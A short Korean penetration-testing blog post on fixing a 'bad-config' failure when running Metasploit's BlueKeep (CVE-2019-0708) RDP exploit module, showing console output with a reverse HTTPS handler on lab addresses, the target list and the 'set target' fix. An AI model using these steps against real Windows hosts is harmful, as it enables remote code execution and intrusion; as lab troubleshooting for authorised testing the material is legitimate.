cve-2019-0708 msf 실행 오류 해결

2781 단어 침투 테스트CVE
cve-2019-0708 msf 실행 오류 해결
서버에 빈틈이 있는지 검사하는 과정에서 exploit의 오류가 발견되었고 오류 정보는 다음과 같다. 이미 뚜렷하다Exploit aborted due to failure: bad-config: Set the most appropriate target manually, 파라미터를 정확하게 설정하지 못했다
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit 

[*] Started HTTPS reverse handler on https://192.168.124.144:8443
[+] 192.168.124.134:3389  - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.
[-] 192.168.124.134:3389 - Exploit aborted due to failure: bad-config: Set the most appropriate target manually
[*] Exploit completed, but no session was created.


존재하는 target에 어떤 것들이 있는지 보기
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show targets 

Exploit targets:

   Id  Name
   --  ----
   0   Automatic targeting via fingerprinting
   1   Windows 7 SP1 / 2008 R2 (6.1.7601 x64)
   2   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)
   3   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)
   4   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)
   5   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)
   6   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)
   7   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)


대응하는 target을 설정해서 실행하면 돼요.
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set target 5
target => 5


이상 BR

좋은 웹페이지 즐겨찾기